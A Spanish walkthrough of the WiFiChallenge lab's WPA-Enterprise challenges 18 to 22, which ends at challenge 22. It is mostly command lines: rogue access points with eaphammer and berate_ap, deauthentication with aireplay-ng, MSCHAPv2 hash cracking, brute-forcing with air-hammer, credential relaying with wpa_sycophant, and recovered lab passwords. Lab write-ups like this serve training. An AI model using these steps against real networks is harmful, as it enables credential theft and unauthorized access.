Challenges MGT
En este capítulo vamos a realizar los siguientes retos:
Challenge 18 - ¿Cuál es la contraseña de Juan en wifi-corp?
Challenge 19 - ¿Cuál es la contraseña de CONTOSO\test en wifi-corp?
Challenge 20 - ¿Cuál es el usuario (con dominio) con contraseña 12345678 en wifi-corp?
Challenge 21 - ¿Cuál es la flag en el AP wifi-regional-tablets?
Challenge 22 - ¿Cuál es la flag en el AP wifi-regional?
Challenge 23 - ¿Cuál es la contraseña del usuario vulnerable a RogueAP de wifi-global?
Challenge 24 - ¿Cuál es la flag después de iniciar sesión en wifi-regional con las credenciales obtenidas en el paso anterior?
Challenge 25 - ¿Cuál es la contraseña del Administrador de wifi-corp?
Challenge 26 - ¿Cuál es la flag encontrada en el AP wifi-global?
Challenge 18
¿Cuál es la contraseña de Juan en wifi-corp?
Para atacar una red MGT, hay que crear un AP falso, para esto hay que crear un certificado TLS para el AP usando eaphammer
Primero escaneamos la red en busca de "wifi-corp" y despues escaneando esta especifcamente
airodump-ng wlan0 --band bag -c 44 --bssid F0:9F:C2:71:22:1A -w /home/user/wifi/MGT/wifi-corp

En este caso no hay ningun cliente conectado a la wifi de esta empresa, asi que se la haremos a otra wifi suya que si tenga clientes, en este caso "wifi-global"
airodump-ng wlan0 --band bag -c 44 --bssid F0:9F:C2:71:22:17 -w /home/user/wifi/MGT/wifi-global

Ahora para sacar la info del certf de sesion de esta wifi, utilizamos pcapFilter
-->
bash /root/tools/pcapFilter.sh -C -f /home/user/wifi/MGT/wifi-global-01.cap

Ahora para general el certificado usamos eaphammer
-->
python3 /root/tools/eaphammer/eaphammer --cert-wizard

Esto nos ira pidiendo información que deberemos ir cogiendo de la información del certificado sacado con pcapFilter



mv "WiFiChallenge CA-1.pem" /home/user/wifi/MGT/

Esto sirve por si un usuario mira el certificado del AP, veo los campos en texto, no es obligatorio para el lab pero si recomendable en la vida real
Ahora que tenemos el certificado, levantamos el punto de acceso con eaphammer
python3 /root/tools/eaphammer/eaphammer -i wlan3 --auth wpa-eap --essid wifi-corp

Una vez que este el falso AP levantado, volvemos a monitorizar con airodump-ng
el canal correspondiente (el 44) -->
airodump-ng wlan0 -c44

Vemos que wifi-corp tiene dos APs y hay otro mas, que es el nuestro (el que termina en 44:00
, el rojo)
Para realizar el ataque, necesitamos hacer un ataque de des autentificación
a ambos clientes, ejecutando aireplay-ng
## Cliente 6C:40 - Red 1
aireplay-ng -0 0 -a F0:9F:C2:71:22:1A -c 64:32:A8:07:6C:40 wlan0
## Cliente 6C:40 - Red 2
aireplay-ng -0 0 -a F0:9F:C2:71:22:15 -c 64:32:A8:07:6C:40 wlan0
-a
: BSSID del AP
-c
: MAC del cliente
Se lo tiramos al mismo cliente en ambas redes, para que asi, cuando se desconecte de una e intente ir a la otra que conoce, tambien se desconecte y por ultimo, vaya hacia la nuestra

Vemos que el cliente se conecta y desconecta (ya que no tenemos su contraseña y no podemos continuar con la autentificación) pero tenemos un hash en mschapv2
Ahora lo guardamos en un archivo y utilizamos hashcat para romperlo -->
## Creamo fichero hash
nano juan.hash
## Content
juan.tr::::e85353c383224cb95be75727ad5f86bf9486335aa76b9070:8c1fe46f72a842f1

Rompemos con hashcat
-->
/root/tools/hashcat-6.0.0/hashcat.bin -a 0 -m 5500 juan.hash /root/rockyou-top100000.txt --force
mschapv2
es un cifrado duro y sera muy lento el crakeo

Ahora en el caso de que cerremos la terminal y perdamos el hash, podemos volver a verlo en
/root/tools/eaphammer/logs/
(archivohostapd-eaphammer.log
)
Teniendo su contraseña en texto claro, nos conectamos con wpa_supplicant
y pedir IP con dhclietnt
## Creamos el fichero
nano juan-corp.conf
## Content
network={
ssid="wifi-corp"
scan_ssid=1
key_mgmt=WPA-EAP
eap=PEAP
anonymous_identity="CONTOSO\anonymous"
identity="CONTOSO\juan.tr"
password="bulldogs1234"
phase1="peapver=1"
phase2="auth=MSCHAPV2"
}
## Conectamos wpa_supplicant
wpa_supplicant -i wlan1 -c juan-corp.conf
## Pedimos IP
dhclient -v wlan1

Y ahora apuntamos dede el navegador a la puerta de enlace 6.1

Tenemos credenciales -->
CONTOSO\juan.jr:bulldogs1234

Challenge 19
¿Cuál es la contraseña de CONTOSO\test en wifi-corp?
Para este ataque tenemos que usar fuerza bruta con air-hammer
, creando un fichero con el nombre del usuario y ejecutando -->
## Añadimos el user
echo 'CONTOSO\test' > test.user
## Attack
/root/tools/air-hammer/air-hammer.py -i wlan1 -e wifi-corp -p /root/rockyou-top100000.txt -u test.user
-i
: Interfaz en SIN modo monitor
-e
: nombre del AP
-p
: diccionario
-u
: user name / domain

Tenemos la contraseña del usuario test del dominio, asi que nos conectamos con wpa_supplicant
## Creamos el fichero
nano test-corp.conf
## Content
network={
ssid="wifi-corp"
scan_ssid=1
key_mgmt=WPA-EAP
eap=PEAP
anonymous_identity="CONTOSO\anonymous"
identity="CONTOSO\test"
password="monkey"
phase1="peapver=1"
phase2="auth=MSCHAPV2"
}
## Conectamos wpa_supplicant
wpa_supplicant -i wlan1 -c test-corp.conf
## Pedimos IP
dhclient -v wlan1


Challenge 20
¿Cuál es el usuario (con dominio) con contraseña 12345678 en wifi-corp?
Es muy parecido al anterior, solo que en vez de una lista de contraseñas, es un diccionario de usuarios
cat /root/top-usernames-shortlist.txt

Tambien sabiendo que estamos en el domino CONTOSO,
debemos añadir el prefijo delante de los usuarios -->
cat /root/top-usernames-shortlist.txt | awk '{print "CONTOSO\\" $1}' > /home/user/wifi/MGT/top-users-CONTOSO.txt

Ahora utilizamos de nuevo air-hammer
con la contraseña que nos han dado y este fichero -->
/root/tools/air-hammer/air-hammer.py -i wlan1 -e wifi-corp -P 12345678 -u /home/user/wifi/MGT/top-users-CONTOSO.txt

Y teniendo el usuario y contraseña, volvemos a conectarnos a la red -->
## Creamos el fichero
nano ftp-corp.conf
## Content
network={
ssid="wifi-corp"
scan_ssid=1
key_mgmt=WPA-EAP
eap=PEAP
anonymous_identity="CONTOSO\anonymous"
identity="CONTOSO\ftp"
password="12345678"
phase1="peapver=1"
phase2="auth=MSCHAPV2"
}
## Conectamos wpa_supplicant
wpa_supplicant -i wlan1 -c ftp-corp.conf
## Pedimos IP
dhclient -v wlan1


Challenge 21
¿Cuál es la flag en el AP wifi-regional-tablets?
Vamos a tener que crear un punto de acceso AP falso, asi que lo primero que vamos a hacer es cambiarnos nuestra MAC -->
macchanger -m F0:9F:C2:00:00:00 wlan1

Utilizaremos el wlan1
Ahora debemos usar wpa_sycophant
, muy parecido a wpa_supplicant
, para este hay que modificar el archvio wpa_sycophant_example.conf
nano /root/tools/wpa_sycophant/wpa_sycophant_example.conf
Debemos modificar dos lineas, la de ssid
y la de blacklist_bssid
== Una es poner el nombre de la wifi a falsear y el otro es poner nuestra MAC para no conectarnos nosotros mismos

network={
ssid="wifi-regional-tablets"
# The SSID you would like to relay and authenticate against.
scan_ssid=1
key_mgmt=WPA-EAP
# Do not modify
identity=""
anonymous_identity=""
password=""
# This initialises the variables for me.
# -------------
eap=PEAP
# Read https://w1.fi/cgit/hostap/plain/wpa_supplicant/wpa_supplicant.conf for help with phase1 options.
# This attempts to force the client not use cryptobinding.
phase1="peapver=1"
phase2="auth=MSCHAPV2"
# Dont want to connect back to ourselves,
# so add your rogue BSSID here.
bssid_blacklist=f0:9f:c2:00:00:00
}
Ahora para hacer el ataque necesitamos abrir varias ventanas
En una de ellas, levantamos el AP falso con
berate_ap
(ya que este esta peparado para comunicarse directamente consycophant
)
/root/tools/berate_ap/berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout outputMana.log wlan1 lo wifi-regional-tablets
Nos pide una configuracion manual o que la dejemos por defecto (lo mejor siempre es manual ya que tenemos la info del certf del AP origin sacada en el reto 18)

Una vez que esta montado ejecutamos
wpa_sycophant
en la otra ventana
./wpa_sycophant.sh -c wpa_sycophant_example.conf -i wlan3
En la tercera pestaña, para hacer el ataque de des autentificación al cliente conectado a la red, lo vemos con airodump-ng -->
airodump-ng wlan0 -c 44 --bssid F0:9F:C2:7A:33:28

Vemos dos clientes, asi que ahora hacemos el ataque de des, contra uno de ellos
aireplay-ng -0 0 wlan0 -a F0:9F:C2:7A:33:28 -c 64:32:A8:A9:DE:55

Ahora en wpa_sycophant vemos como se conecta y tambien dando su hash -->

Y tambien como nos conectamos auto a la red -->

Ahora pedimo ip con dhclient
dhclient wlan3 -v

Ahora podemos apuntar desde el navegador a la puerta de enlace y coger la flag

Challenge 22
¿Cuál es la flag en el AP wifi-regional?
Para esto, vamos a hacer casi lo mismo que el reto anterior
Asi que tenemos que modificar el fichero wpa_sycophant_example.conf
, modificando la primera linea que es la el nombre del AP -->

Y ejecutamos directamente el wpa_sycophant
./wpa_sycophant.sh -c wpa_sycophant_example.conf -i wlan3
En otra terminal, nos levantamos el berate_ap
(exactamente igual que antes) soloq eu con wifi-regional ahora -->
/root/tools/berate_ap/berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout outputMana.log wlan1 lo wifi-regional
Ahora escaneamos su red con aerodump-ng para sacar la info del BSSID y de los clientes -->
airodump-ng wlan0 -c 44 --bssid F0:9F:C2:71:22:16

Y ahora (cuando el AP falso esta levantado) lanzamos con aireplay-ng
el ataque des autentificación
aireplay-ng wlan0 -0 0 -a F0:9F:C2:71:22:16 -c 64:32:A8:AC:53:50
Si hay algun problema en la ejecucion, reiniciar todo y levantar de nuevo el modo monitor
Al ejecutarlo vemos como el berate_ap nos da un erro de CA

Esto significa que este ataque no funcionara contra este AP porque el cliente verifica la CA, asi que nunca se nos va a conectar
Tenemos que buscar otra forma para atacar este tipo de red
Muchas veces, als empresas con diferentes redes suelen estar conectadas el mismo directorio activo por detrás, y por grupo y/o users, se configura quien puede acceder a ciertas redes
Podemo levantar un AP falso con wifi-regional-tables (como en el challenge anterior) manteniendo el wpa_sycopham a la red wifi-regional. Asi que un cliente se nos conecta al AP falso de wifi-regional-tables y reenviamos sus credenciales a wifi-regional
Levanatamos el AP de wifi-regional-tables
/root/tools/berate_ap/berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout outputMana.log wlan1 lo wifi-regional-tablets
Manemos el wpa_sycophant a la wifi-regional original -->
./wpa_sycophant.sh -c wpa_sycophant_example.conf -i wlan3
Y por ultimo el ataque des autentificaon se hace contra un cliente de wiif-regiona-tables (como en el challenges anterior)(reuitlizo ese comando) -->
aireplay-ng -0 0 wlan0 -a F0:9F:C2:7A:33:28 -c 64:32:A8:A9:DE:55
Con esto conseguimos que un cliente de wifi-regional-tablets se conecte a nuestro AP falso y su credenciales son reenviadas a wifi_regional, conectándonos asi automáticamente

Pedimos ip con dhclient
y apuntamos conel navegador directamente a la puerta de enlace -->


Last updated